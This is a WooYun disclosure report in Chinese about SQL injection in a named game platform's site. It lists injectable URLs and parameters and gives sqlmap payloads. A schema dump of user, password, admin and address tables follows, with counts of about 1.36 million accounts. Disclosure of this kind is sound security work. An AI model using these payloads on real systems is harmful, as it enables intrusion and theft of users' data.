某游戏平台多处SQL注射导致136万用户信息泄漏

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-079716

漏洞标题：某游戏平台多处SQL注射导致136万用户信息泄漏

漏洞作者： JsStack

提交时间：2014-10-17 12:09

修复时间：2014-12-01 12:12

公开时间：2014-12-01 12:12

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2014-10-17：积极联系厂商并且等待厂商认领中，细节不对外公开
2014-12-01：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

某游戏平台多处SQL注射导致136万用户信息泄漏

详细说明：

有效注入点有
www.xiaoxiaodaomin.com/space.php?do=gift&giftid=1&view=song giftid
www.xiaoxiaodaomin.com/space.php?do=anime&id=160&imgid=1&types=&view=cartoon_imagesview imgid
www.xiaoxiaodaomin.com/space.php?do=gift&order=nums&types=credit&userid=1&view=song userid
www.xiaoxiaodaomin.com/space.php?do=gift&types=beans&userid=1&view=song userid
www.xiaoxiaodaomin.com/space.php?do=pnotice&id=1 id
等等。还有很多，不一一贴出。
运行sql，查询发现有136万用户信息。一旦泄漏，后果严重

select count(*) from uc_members:    '1365276'
select count(*) from uchome_member:    '1364625'
select count(*) from ecs_users:    '1363243

漏洞证明：

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: giftid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: do=gift&giftid=1 AND 2302=2302&view=song
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: do=gift&giftid=1 AND (SELECT 1413 FROM(SELECT COUNT(*),CONCAT(0x7171736871,(SELECT (CASE WHEN (1413=1413) THEN 1 ELSE 0 END)),0x71636a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&view=song
    Type: UNION query
    Title: MySQL UNION query (NULL) - 19 columns
    Payload: do=gift&giftid=1 UNION ALL SELECT CONCAT(0x7171736871,0x774e67676a7258744b54,0x71636a7671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&view=song
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: do=gift&giftid=1 AND SLEEP(5)&view=song
---
[10:13:20] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.17
back-end DBMS: MySQL 5.0

Database: islanderclub
Table: ecs_pay_log
[5 columns]
+--------------+------------------------+
| Column       | Type                   |
+--------------+------------------------+
| is_paid      | tinyint(1) unsigned    |
| log_id       | int(10) unsigned       |
| order_amount | decimal(10,2) unsigned |
| order_id     | mediumint(8) unsigned  |
| order_type   | tinyint(1) unsigned    |
+--------------+------------------------+
Database: islanderclub
Table: uchome_cats
[4 columns]
+-----------+--------------+
| Column    | Type         |
+-----------+--------------+
| cid       | smallint(6)  |
| id        | smallint(6)  |
| name      | varchar(100) |
| sortorder | smallint(6)  |
+-----------+--------------+
Database: islanderclub
Table: uc_protectedmembers
[5 columns]
+----------+-----------------------+
| Column   | Type                  |
+----------+-----------------------+
| admin    | char(15)              |
| appid    | tinyint(1) unsigned   |
| dateline | int(10) unsigned      |
| uid      | mediumint(8) unsigned |
| username | char(15)              |
+----------+-----------------------+
Database: islanderclub
Table: uchome_myapp
[7 columns]
+---------------+-----------------------+
| Column        | Type                  |
+---------------+-----------------------+
| version       | mediumint(8) unsigned |
| appid         | mediumint(8) unsigned |
| appname       | varchar(60)           |
| displaymethod | tinyint(1)            |
| displayorder  | smallint(6) unsigned  |
| flag          | tinyint(1)            |
| narrow        | tinyint(1)            |
+---------------+-----------------------+
Database: islanderclub
Table: uchome_log
[3 columns]
+--------+-----------------------+
| Column | Type                  |
+--------+-----------------------+
| id     | mediumint(8) unsigned |
| idtype | char(20)              |
| logid  | mediumint(8) unsigned |
+--------+-----------------------+
Database: islanderclub
Table: uchome_tagblog
[2 columns]
+--------+-----------------------+
| Column | Type                  |
+--------+-----------------------+
| blogid | mediumint(8) unsigned |
| tagid  | mediumint(8) unsigned |
+--------+-----------------------+
Database: islanderclub
Table: uchome_network
[9 columns]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| blogs  | varchar(250) |
| doings | varchar(250) |
| feeds  | varchar(250) |
| id     | smallint(6)  |
| mtags  | varchar(250) |
| pics   | varchar(250) |
| polls  | varchar(250) |
| shares | varchar(250) |
| stars  | text         |
+--------+--------------+
Database: islanderclub
Table: uc_failedlogins
[3 columns]
+------------+---------------------+
| Column     | Type                |
+------------+---------------------+
| count      | tinyint(1) unsigned |
| ip         | char(15)            |
| lastupdate | int(10) unsigned    |
+------------+---------------------+
Database: islanderclub
Table: uchome_pic
[32 columns]
+--------------+-----------------------+
| Column       | Type                  |
+--------------+-----------------------+
| size         | int(10) unsigned      |
| albumid      | mediumint(8) unsigned |
| checkdate    | int(10)               |
| click_10     | smallint(6) unsigned  |
| click_6      | smallint(6) unsigned  |
| click_7      | smallint(6) unsigned  |
| click_8      | smallint(6) unsigned  |
| click_9      | smallint(6) unsigned  |
| dateline     | int(10) unsigned      |
| displayorder | int(10)               |
| filename     | varchar(100)          |
| filepath     | varchar(60)           |
| hot          | mediumint(8) unsigned |
| is_index     | tinyint(1)            |
| magicframe   | tinyint(6)            |
| picid        | mediumint(8)          |
| picthumb     | varchar(100)          |
| postip       | varchar(20)           |
| recommend    | tinyint(1)            |
| remote       | tinyint(1)            |
| star         | tinyint(1)            |
| star_time    | int(10)               |
| state        | tinyint(1)            |
| thumb        | tinyint(1)            |
| title        | varchar(255)          |
| topicid      | mediumint(8) unsigned |
| type         | varchar(20)           |
| uid          | mediumint(8) unsigned |
| username     | varchar(15)           |
| video        | varchar(500)          |
| votes        | int(10)               |
| xiu          | tinyint(1)            |
+--------------+-----------------------+
Database: islanderclub
Table: uchome_dati_question
[10 columns]
+---------------+---------+
| Column        | Type    |
+---------------+---------+
| correctanswer | int(11) |
| description   | text    |
| id            | int(11) |
| pack          | int(11) |
| privacy       | int(11) |
| question      | text    |
| score         | int(11) |
| status        | int(11) |
| type          | int(11) |
| vote          | int(11) |
+---------------+---------+
Database: islanderclub
Table: uchome_tag
[6 columns]
+----------+-----------------------+
| Column   | Type                  |
+----------+-----------------------+
| close    | tinyint(1)            |
| blognum  | smallint(6) unsigned  |
| dateline | int(10) unsigned      |
| tagid    | mediumint(8) unsigned |
| tagname  | char(30)              |
| uid      | mediumint(8) unsigned |
+----------+-----------------------+
Database: islanderclub
Table: uchome_pollfield
[7 columns]
+---------+-----------------------+
| Column  | Type                  |
+---------+-----------------------+
| option  | text                  |
| hotuser | text                  |
| invite  | text                  |
| message | text                  |
| notify  | tinyint(1)            |
| pid     | mediumint(8) unsigned |
| summary | text                  |
+---------+-----------------------+
Database: islanderclub
Table: ecs_back_goods
[11 columns]
+-------------+-----------------------+
| Column      | Type                  |
+-------------+-----------------------+
| back_id     | mediumint(8) unsigned |
| brand_name  | varchar(60)           |
| goods_attr  | text                  |
| goods_id    | mediumint(8) unsigned |
| goods_name  | varchar(120)          |
| goods_sn    | varchar(60)           |
| is_real     | tinyint(1) unsigned   |
| product_id  | mediumint(8) unsigned |
| product_sn  | varchar(60)           |
| rec_id      | mediumint(8) unsigned |
| send_number | smallint(5) unsigned  |
+-------------+-----------------------+
Database: islanderclub
Table: ecs_delivery_goods
[13 columns]
+----------------+-----------------------+
| Column         | Type                  |
+----------------+-----------------------+
| brand_name     | varchar(60)           |
| delivery_id    | mediumint(8) unsigned |
| extension_code | varchar(30)           |
| goods_attr     | text                  |
| goods_id       | mediumint(8) unsigned |
| goods_name     | varchar(120)          |
| goods_sn       | varchar(60)           |
| is_real        | tinyint(1) unsigned   |
| parent_id      | mediumint(8) unsigned |
| product_id     | mediumint(8) unsigned |
| product_sn     | varchar(60)           |
| rec_id         | mediumint(8) unsigned |
| send_number    | smallint(5) unsigned  |
+----------------+-----------------------+
Database: islanderclub
Table: uchome_topic
[14 columns]
+----------+-----------------------+
| Column   | Type                  |
+----------+-----------------------+
| dateline | int(10) unsigned      |
| endtime  | int(10) unsigned      |
| joingid  | varchar(255)          |
| joinnum  | mediumint(8) unsigned |
| jointype | varchar(255)          |
| lastpost | int(10) unsigned      |
| message  | mediumtext            |
| pic      | varchar(100)          |
| remote   | tinyint(1)            |
| subject  | varchar(80)           |
| thumb    | tinyint(1)            |
| topicid  | mediumint(8) unsigned |
| uid      | mediumint(8) unsigned |
| username | varchar(15)           |
+----------+-----------------------+
Database: islanderclub
Table: uchome_tuijian
[6 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| dateline | int(10)      |
| friends  | text         |
| goods_id | mediumint(8) |
| message  | text         |
| tjid     | mediumint(8) |
| uid      | mediumint(8) |
+----------+--------------+
Database: islanderclub
Table: uchome_dati
[14 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| answer     | varchar(100) |
| dateline   | int(10)      |
| datiid     | mediumint(8) |
| end_time   | int(10)      |
| qa         | varchar(100) |
| qb         | varchar(100) |
| qc         | varchar(100) |
| qd         | varchar(100) |
| qe         | varchar(100) |
| qf         | varchar(100) |
| start_time | int(10)      |
| state      | tinyint(1)   |
| subject    | varchar(100) |
| type       | varchar(100) |
+------------+--------------+
Database: islanderclub
Table: ecs_reg_extend_info
[4 columns]
+--------------+-----------------------+
| Column       | Type                  |
+--------------+-----------------------+
| content      | text                  |
| Id           | int(10) unsigned      |
| reg_field_id | int(10) unsigned      |
| user_id      | mediumint(8) unsigned |
+--------------+-----------------------+
Database: islanderclub
Table: uchome_cron
[11 columns]
+-----------+-----------------------+
| Column    | Type                  |
+-----------+-----------------------+
| day       | tinyint(2)            |
| hour      | tinyint(2)            |
| minute    | char(36)              |
| available | tinyint(1)            |
| cronid    | smallint(6) unsigned  |
| filename  | char(50)              |
| lastrun   | int(10) unsigned      |
| name      | char(50)              |
| nextrun   | int(10) unsigned      |
| type      | enum('user','system') |
| weekday   | tinyint(1)            |
+-----------+-----------------------+
Database: islanderclub
Table: uchome_gift
[19 columns]
+---------------+--------------+
| Column        | Type         |
+---------------+--------------+
| best          | tinyint(1)   |
| dateline      | int(10)      |
| giftid        | mediumint(8) |
| is_best       | tinyint(1)   |
| limited       | int(10)      |
| limitnumber   | int(10)      |
| message       | text         |
| nums          | mediumint(8) |
| price         | smallint(6)  |
| subject       | varchar(100) |
| surl          | varchar(250) |
| surlbig       | varchar(250) |
| surlsmall     | varchar(250) |
| surlthumbnail | varchar(250) |
| thumb         | varchar(250) |
| thumb_old     | varchar(250) |
| type          | varchar(10)  |
| types         | varchar(20)  |
| uid           | mediumint(8) |
+---------------+--------------+
Database: islanderclub
Table: ecs_area_region
[2 columns]
+------------------+----------------------+
| Column           | Type                 |
+------------------+----------------------+
| region_id        | smallint(5) unsigned |
| shipping_area_id | smallint(5) unsigned |
+------------------+----------------------+
Database: islanderclub
Table: uc_t
[2 columns]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| id     | mediumint(8) |
| test   | varchar(250) |
+--------+--------------+
Database: islanderclub
Table: uchome_blacklist
[3 columns]
+----------+-----------------------+
| Column   | Type                  |
+----------+-----------------------+
| buid     | mediumint(8) unsigned |
| dateline | int(10) unsigned      |
| uid      | mediumint(8) unsigned |
+----------+-----------------------+
Database: islanderclub
Table: uc_members
[12 columns]
+---------------+-----------------------+
| Column        | Type                  |
+---------------+-----------------------+
| email         | char(32)              |
| lastloginip   | int(10)               |
| lastlogintime | int(10) unsigned      |
| myid          | char(30)              |
| myidkey       | char(16)              |
| password      | char(32)              |
| regdate       | int(10) unsigned      |
| regip         | char(15)              |
| salt          | char(6)               |
| secques       | char(8)               |
| uid           | mediumint(8) unsigned |
| username      | char(15)              |
+---------------+-----------------------+
Database: islanderclub
Table: uchome_class
[4 columns]
+-----------+-----------------------+
| Column    | Type                  |
+-----------+-----------------------+
| classid   | mediumint(8) unsigned |
| classname | char(40)              |
| dateline  | int(10) unsigned      |
| uid       | mediumint(8) unsigned |
+-----------+-----------------------+
Database: islanderclub
Table: sky_items
[7 columns]
+----------+-----------------------+
| Column   | Type                  |
+----------+-----------------------+
| account  | char(15)              |
| content  | varchar(255)          |
| dateline | int(10) unsigned      |
| digg     | mediumint(8) unsigned |
| itemid   | mediumint(8) unsigned |
| reply    | mediumint(5) unsigned |
| uid      | mediumint(8) unsigned |
+----------+-----------------------+
Database: islanderclub
Table: cob_ibook_serial
[11 columns]
+---------------+--------------+
| Column        | Type         |
+---------------+--------------+
| click_count   | int(11)      |
| create_date   | datetime     |
| id            | int(11)      |
| like_count    | int(11)      |
| serial_cover  | int(11)      |
| serial_desc   | text         |
| serial_name   | varchar(255) |
| serial_pid    | int(11)      |
| serial_status | tinyint(1)   |
| serial_type   | varchar(10)  |
| tags          | varchar(255) |
+---------------+--------------+
Database: islanderclub
Table: uchome_session
[6 columns]
+--------------+-----------------------+
| Column       | Type                  |
+--------------+-----------------------+
| ip           | int(10) unsigned      |
| lastactivity | int(10) unsigned      |
| magichidden  | tinyint(1)            |
| password     | char(32)              |
| uid          | mediumint(8) unsigned |
| username     | char(15)              |
+--------------+-----------------------+
Database: islanderclub
Table: ecs_package_goods
[5 columns]
+--------------+-----------------------+
| Column       | Type                  |
+--------------+-----------------------+
| admin_id     | tinyint(3) unsigned   |
| goods_id     | mediumint(8) unsigned |
| goods_number | smallint(5) unsigned  |
| package_id   | mediumint(8) unsigned |
| product_id   | mediumint(8) unsigned |
+--------------+-----------------------+
Database: islanderclub
Table: uchome_favorite
[5 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| dateline | int(10)      |
| fid      | mediumint(8) |
| id       | mediumint(8) |
| idtype   | varchar(20)  |
| uid      | mediumint(8) |
+----------+--------------+
Database: islanderclub
Table: uchome_click
[5 columns]
+--------------+----------------------+
| Column       | Type                 |
+--------------+----------------------+
| clickid      | smallint(6) unsigned |
| displayorder | tinyint(6) unsigned  |
| icon         | varchar(100)         |
| idtype       | varchar(15)          |
| name         | varchar(50)          |
+--------------+----------------------+
Database: islanderclub
Table: ecs_comment
[12 columns]
+--------------+-----------------------+
| Column       | Type                  |
+--------------+-----------------------+
| add_time     | int(10) unsigned      |
| comment_id   | int(10) unsigned      |
| comment_rank | tinyint(1) unsigned   |
| comment_type | tinyint(3) unsigned   |
| content      | text                  |
| email        | varchar(60)           |
| id_value     | mediumint(8) unsigned |
| ip_address   | varchar(15)           |
| parent_id    | int(10) unsigned      |
| status       | tinyint(3) unsigned   |
| user_id      | int(10) unsigned      |
| user_name    | varchar(60)           |
+--------------+-----------------------+
Database: islanderclub
Table: ecs_tag
[4 columns]
+-----------+-----------------------+
| Column    | Type                  |
+-----------+-----------------------+
| goods_id  | mediumint(8) unsigned |
| tag_id    | mediumint(8)          |
| tag_words | varchar(255)          |
| user_id   | mediumint(8) unsigned |
+-----------+-----------------------+
Database: islanderclub
Table: ecs_plugins
[5 columns]
+--------------+---------------------+
| Column       | Type                |
+--------------+---------------------+
| version      | varchar(10)         |
| assign       | tinyint(1) unsigned |
| code         | varchar(30)         |
| install_date | int(10) unsigned    |
| library      | varchar(255)        |
+--------------+---------------------+
Database: islanderclub
Table: ecs_exchange_goods
[4 columns]
+-------------------+-----------------------+
| Column            | Type                  |
+-------------------+-----------------------+
| exchange_integral | int(10) unsigned      |
| goods_id          | mediumint(8) unsigned |
| is_exchange       | tinyint(1) unsigned   |
| is_hot            | tinyint(1) unsigned   |
+-------------------+-----------------------+
Database: islanderclub
Table: ecs_admin_message
[9 columns]
+-------------+----------------------+
| Column      | Type                 |
+-------------+----------------------+
| deleted     | tinyint(1) unsigned  |
| message     | text                 |
| message_id  | smallint(5) unsigned |
| read_time   | int(11) unsigned     |
| readed      | tinyint(1) unsigned  |
| receiver_id | tinyint(3) unsigned  |
| sender_id   | tinyint(3) unsigned  |
| sent_time   | int(11) unsigned     |
| title       | varchar(150)         |
+-------------+----------------------+
Database: islanderclub
Table: sky_reply
[6 columns]
+----------+-----------------------+
| Column   | Type                  |
+----------+-----------------------+
| account  | varchar(15)           |
| content  | varchar(255)          |
| dateline | int(10) unsigned      |
| replyto  | mediumint(8) unsigned |
| rid      | mediumint(8)          |
| uid      | mediumint(8)          |
+----------+-----------------------+
Database: islanderclub
Table: cob_icartoon
[15 columns]
+----------------+--------------+
| Column         | Type         |
+----------------+--------------+
| area           | varchar(255) |
| author         | varchar(255) |
| chapter        | varchar(255) |
| comment        | varchar(255) |
| create_date    | datetime     |
| hit_count      | int(11)      |
| id             | int(11)      |
| imageLink      | varchar(255) |
| is_over        | smallint(2)  |
| latest_chapter | varchar(255) |
| latest_date    | varchar(255) |
| latest_url     | varchar(255) |
| tag            | varchar(255) |
| title          | varchar(255) |
| viewLink       | varchar(255) |
+----------------+--------------+
Database: islanderclub
Table: ecs_feedback
[13 columns]
+-------------+-----------------------+
| Column      | Type                  |
+-------------+-----------------------+
| message_img | varchar(255)          |
| msg_area    | tinyint(1) unsigned   |
| msg_content | text                  |
| msg_id      | mediumint(8) unsigned |
| msg_status  | tinyint(1) unsigned   |
| msg_time    | int(10) unsigned      |
| msg_title   | varchar(200)          |
| msg_type    | tinyint(1) unsigned   |
| order_id    | int(11) unsigned      |
| parent_id   | mediumint(8) unsigned |
| user_email  | varchar(60)           |
| user_id     | mediumint(8) unsigned |
| user_name   | varchar(60)           |
+-------------+-----------------------+
Database: islanderclub
Table: uchome_friendlog
[4 columns]
+----------+-----------------------+
| Column   | Type                  |
+----------+-----------------------+
| action   | varchar(10)           |
| dateline | int(10) unsigned      |
| fuid     | mediumint(8) unsigned |
| uid      | mediumint(8) unsigned |
+----------+-----------------------+
Database: islanderclub
Table: ecs_reg_fields
[6 columns]
+----------------+---------------------+
| Column         | Type                |
+----------------+---------------------+
| dis_order      | tinyint(3) unsigned |
| display        | tinyint(1) unsigned |
| id             | tinyint(3) unsigned |
| is_need        | tinyint(1) unsigned |
| reg_field_name | varchar(60)         |
| type           | tinyint(1) unsigned |
+----------------+---------------------+
Database: islanderclub
Table: uchome_task
[14 columns]
+--------------+-----------------------+
| Column       | Type                  |
+--------------+-----------------------+
| available    | tinyint(1)            |
| credit       | smallint(6)           |
| displayorder | smallint(6) unsigned  |
| endtime      | int(10) unsigned      |
| filename     | varchar(50)           |
| image        | varchar(150)          |
| maxnum       | mediumint(8) unsigned |
| name         | varchar(50)           |
| nexttime     | int(10) unsigned      |
| nexttype     | varchar(20)           |
| note         | text                  |
| num          | mediumint(8) unsigned |
| starttime    | int(10) unsigned      |
| taskid       | smallint(6) unsigned  |
+--------------+-----------------------+
Database: islanderclub
Table: uchome_friendguide
[4 columns]
+-----------+-----------------------+
| Column    | Type                  |
+-----------+-----------------------+
| fuid      | mediumint(8) unsigned |
| fusername | char(15)              |
| num       | smallint(6) unsigned  |
| uid       | mediumint(8) unsigned |
+-----------+-----------------------+
Database: islanderclub
Table: uchome_docomment
[9 columns]
+----------+-----------------------+
| Column   | Type                  |
+----------+-----------------------+
| dateline | int(10) unsigned      |
| doid     | mediumint(8) unsigned |
| grade    | smallint(6) unsigned  |
| id       | int(10) unsigned      |
| ip       | varchar(20)           |
| message  | text                  |
| uid      | mediumint(8) unsigned |
| upid     | int(10) unsigned      |
| username | varchar(15)           |
+----------+-----------------------+
Database: islanderclub
Table: uchome_share
[14 columns]
+----------------+-----------------------+
| Column         | Type                  |
+----------------+-----------------------+
| body_data      | text                  |
| body_general   | text                  |
| body_template  | text                  |
| dateline       | int(10) unsigned      |
| hot            | mediumint(8) unsigned |
| hotuser        | text                  |
| image          | varchar(255)          |
| image_link     | varchar(255)          |
| sid            | mediumint(8) unsigned |
| title_template | text                  |
| topicid        | mediumint(8) unsigned |
| type           | varchar(30)           |
| uid            | mediumint(8) unsigned |
| username       | varchar(15)           |
+----------------+-----------------------+
Database: islanderclub
Table: uc_memberfields
[2 columns]
+-----------+-----------------------+
| Column    | Type                  |
+-----------+-----------------------+
| blacklist | text                  |
| uid       | mediumint(8) unsigned |
+-----------+-----------------------+
Database: islanderclub
Table: uc_newpm
[1 column]
+--------+-----------------------+
| Column | Type                  |
+--------+-----------------------+
| uid    | mediumint(8) unsigned |
+--------+-----------------------+
Database: islanderclub
Table: ecs_goods_type
[4 columns]
+------------+----------------------+
| Column     | Type                 |
+------------+----------------------+
| attr_group | varchar(255)         |
| cat_id     | smallint(5) unsigned |
| cat_name   | varchar(60)          |
| enabled    | tinyint(1) unsigned  |
+------------+----------------------+
Database: islanderclub
Table: ecs_user_address
[15 columns]
+---------------+-----------------------+
| Column        | Type                  |
+---------------+-----------------------+
| address       | varchar(120)          |
| address_id    | mediumint(8) unsigned |
| address_name  | varchar(50)           |
| best_time     | varchar(120)          |
| city          | smallint(5)           |
| consignee     | varchar(60)           |
| country       | smallint(5)           |
| district      | smallint(5)           |
| email         | varchar(60)           |
| mobile        | varchar(60)           |
| province      | smallint(5)           |
| sign_building | varchar(120)          |
| tel           | varchar(60)           |
| user_id       | mediumint(8) unsigned |
| zipcode       | varchar(60)           |
+---------------+-----------------------+
Database: islanderclub
Table: uchome_appcreditlog
[8 columns]
+----------+-----------------------+
| Column   | Type                  |
+----------+-----------------------+
| appid    | mediumint(8) unsigned |
| appname  | varchar(60)           |
| credit   | mediumint(8) unsigned |
| dateline | int(10) unsigned      |
| logid    | mediumint(8) unsigned |
| note     | text                  |
| type     | tinyint(1)            |
| uid      | mediumint(8) unsigned |
+----------+-----------------------+
Database: islanderclub
Table: uchome_magic
[13 columns]
+---------------+----------------------+
| Column        | Type                 |
+---------------+----------------------+
| close         | tinyint(1)           |
| charge        | smallint(6) unsigned |
| custom        | text                 |
| description   | text                 |
| displayorder  | smallint(6) unsigned |
| experience    | smallint(6) unsigned |
| forbiddengid  | text                 |
| mid           | varchar(15)          |
| name          | varchar(30)          |
| providecount  | smallint(6) unsigned |
| provideperoid | int(10) unsigned     |
| usecount      | smallint(6) unsigned |
| useperoid     | int(10) unsigned     |
+---------------+----------------------+
Database: islanderclub
Table: uchome_news
[11 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| commentnum | int(10)      |
| dateline   | int(10)      |
| istop      | tinyint(1)   |
| message    | text         |
| newsid     | mediumint(8) |
| newstype   | tinyint(1)   |
| state      | tinyint(1)   |
| subject    | varchar(250) |
| thumb      | varchar(250) |
| uid        | mediumint(8) |
| viewnum    | int(10)      |
+------------+--------------+
Database: islanderclub
Table: ecs_crons
[16 columns]
+-------------+---------------------+
| Column      | Type                |
+-------------+---------------------+
| day         | tinyint(2)          |
| hour        | varchar(2)          |
| minute      | varchar(255)        |
| allow_ip    | varchar(100)        |
| alow_files  | varchar(255)        |
| cron_code   | varchar(20)         |
| cron_config | text                |
| cron_desc   | text                |
| cron_id     | tinyint(3) unsigned |
| cron_name   | varchar(120)        |
| cron_order  | tinyint(3) unsigned |
| enable      | tinyint(1)          |
| nextime     | int(10)             |
| run_once    | tinyint(1)          |
| thistime    | int(10)             |
| week        | varchar(1)          |
+-------------+---------------------+
Database: islanderclub
Table: ecs_shipping_area
[4 columns]
+--------------------+----------------------+
| Column             | Type                 |
+--------------------+----------------------+
| configure          | text                 |
| shipping_area_id   | smallint(5) unsigned |
| shipping_area_name | varchar(150)         |
| shipping_id        | tinyint(3) unsigned  |
+--------------------+----------------------+
Database: islanderclub
Table: uchome_adminsession
[4 columns]
+------------+-----------------------+
| Column     | Type                  |
+------------+-----------------------+
| dateline   | int(10) unsigned      |
| errorcount | tinyint(1)            |
| ip         | char(15)              |
| uid        | mediumint(8) unsigned |
+------------+-----------------------+
Database: islanderclub
Table: uchome_eventinvite
[6 columns]
+------------+-----------------------+
| Column     | Type                  |
+------------+-----------------------+
| dateline   | int(10) unsigned      |
| eventid    | mediumint(8) unsigned |
| touid      | mediumint(8) unsigned |
| tousername | char(15)              |
| uid        | mediumint(8) unsigned |
| username   | varchar(15)           |
+------------+-----------------------+
Database: islanderclub
Table: ecs_adsense
[3 columns]
+---------+------------------+
| Column  | Type             |
+---------+------------------+
| clicks  | int(10) unsigned |
| from_ad | smallint(5)      |
| referer | varchar(255)     |
+---------+------------------+
Database: islanderclub
Table: ecs_mail_templates
[8 columns]
+------------------+---------------------+
| Column           | Type                |
+------------------+---------------------+
| is_html          | tinyint(1) unsigned |
| last_modify      | int(10) unsigned    |
| last_send        | int(10) unsigned    |
| template_code    | varchar(30)         |
| template_content | text                |
| template_id      | tinyint(1) unsigned |
| template_subject | varchar(200)        |
| type             | varchar(10)         |
+------------------+---------------------+
Database: islanderclub
Table: uchome_statuser
[3 columns]
+---------+-----------------------+
| Column  | Type                  |
+---------+-----------------------+
| daytime | int(10) unsigned      |
| type    | char(20)              |
| uid     | mediumint(8) unsigned |
+---------+-----------------------+
Database: islanderclub
Table: ecs_vote
[6 columns]
+------------+----------------------+
| Column     | Type                 |
+------------+----------------------+
| can_multi  | tinyint(1) unsigned  |
| end_time   | int(11) unsigned     |
| start_time | int(11) unsigned     |
| vote_count | int(10) unsigned     |
| vote_id    | smallint(5) unsigned |
| vote_name  | varchar(250)         |
+------------+----------------------+
Database: islanderclub
Table: ecs_brand
[7 columns]
+------------+----------------------+
| Column     | Type                 |
+------------+----------------------+
| brand_desc | text                 |
| brand_id   | smallint(5) unsigned |
| brand_logo | varchar(80)          |
| brand_name | varchar(60)          |
| is_show    | tinyint(1) unsigned  |
| site_url   | varchar(255)         |
| sort_order | tinyint(3) unsigned  |
+------------+----------------------+
Database: islanderclub
Table: uchome_magicinlog
[9 columns]
+----------+-----------------------+
| Column   | Type                  |
+----------+-----------------------+
| count    | smallint(6) unsigned  |
| credit   | smallint(6) unsigned  |
| dateline | int(10)               |
| fromid   | mediumint(8) unsigned |
| logid    | mediumint(8) unsigned |
| mid      | varchar(15)           |
| type     | tinyint(3) unsigned   |
| uid      | mediumint(8) unsigned |
| username | varchar(15)           |
+----------+-----------------------+
Database: islanderclub
Table: ecs_goods_cat
[2 columns]
+----------+-----------------------+
| Column   | Type                  |
+----------+-----------------------+
| cat_id   | smallint(5) unsigned  |
| goods_id | mediumint(8) unsigned |
+----------+-----------------------+
Database: islanderclub
Table: ecs_ad_position
[6 columns]
+----------------+----------------------+
| Column         | Type                 |
+----------------+----------------------+
| ad_height      | smallint(5) unsigned |
| ad_width       | smallint(5) unsigned |
| position_desc  | varchar(255)         |
| position_id    | tinyint(3) unsigned  |
| position_name  | varchar(60)          |
| position_style | text                 |
+----------------+----------------------+
Database: islanderclub
Table: ecs_payment
[10 columns]
+------------+---------------------+
| Column     | Type                |
+------------+---------------------+
| enabled    | tinyint(1) unsigned |
| is_cod     | tinyint(1) unsigned |
| is_online  | tinyint(1) unsigned |
| pay_code   | varchar(20)         |
| pay_config | text                |
| pay_desc   | text                |
| pay_fee    | varchar(10)         |
| pay_id     | tinyint(3) unsigned |
| pay_name   | varchar(120)        |
| pay_order  | tinyint(3) unsigned |
+------------+---------------------+
Database: islanderclub
Table: uchome_dati_log
[8 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| cuo      | smallint(4)  |
| dateline | int(10)      |
| datiid   | mediumint(8) |
| datikey  | varchar(250) |
| datival  | varchar(250) |
| dui      | smallint(4)  |
| id       | mediumint(8) |
| uid      | mediumint(8) |
+----------+--------------+
Database: islanderclub
Table: schema_migrations
[1 column]
+---------+--------------+
| Column  | Type         |
+---------+--------------+
| version | varchar(255) |
+---------+--------------+
Database: islanderclub
Table: uchome_clickuser
[6 columns]
+----------+-----------------------+
| Column   | Type                  |
+----------+-----------------------+
| clickid  | smallint(6) unsigned  |
| dateline | int(10) unsigned      |
| id       | mediumint(8) unsigned |
| idtype   | varchar(15)           |
| uid      | mediumint(8) unsigned |
| username | varchar(15)           |
+----------+-----------------------+
Database: islanderclub
Table: uchome_xiu_log
[5 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| module   | varchar(100) |
| dateline | varchar(100) |
| id       | int(10)      |
| uid      | mediumint(8) |
| valueid  | mediumint(8) |
+----------+--------------+
Database: islanderclub
Table: uc_admins
[14 columns]
+-------------------+-----------------------+
| Column            | Type                  |
+-------------------+-----------------------+
| allowadminapp     | tinyint(1)            |
| allowadminbadword | tinyint(1)            |
| allowadmincache   | tinyint(1)            |
| allowadmincredits | tinyint(1)            |
| allowadmindb      | tinyint(1)            |
| allowadmindomain  | tinyint(1)            |
| allowadminlog     | tinyint(1)            |
| allowadminnote    | tinyint(1)            |
| allowadminpm      | tinyint(1)            |
| allowadminsetting | tinyint(1)            |
| allowadmintag     | tinyint(1)            |
| allowadminuser    | tinyint(1)            |
| uid               | mediumint(8) unsigned |
| username          | char(15)              |
+-------------------+-----------------------+
Database: islanderclub
Table: uchome_creditrule
[11 columns]
+------------+-----------------------+
| Column     | Type                  |
+------------+-----------------------+
| action     | char(20)              |
| credit     | mediumint(8) unsigned |
| cycletime  | int(10)               |
| cycletype  | tinyint(1)            |
| exp        | mediumint(8) unsigned |
| experience | mediumint(8) unsigned |
| norepeat   | tinyint(1)            |
| rewardnum  | tinyint(2)            |
| rewardtype | tinyint(1)            |
| rid        | mediumint(8) unsigned |
| rulename   | char(20)              |
+------------+-------------------

select count(*) from uc_members:    '1365276'
select count(*) from uchome_member:    '1364625'
select count(*) from ecs_users:    '1363243

WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-079716

漏洞标题：某游戏平台多处SQL注射导致136万用户信息泄漏

相关厂商：小小岛民俱乐部

漏洞作者： JsStack

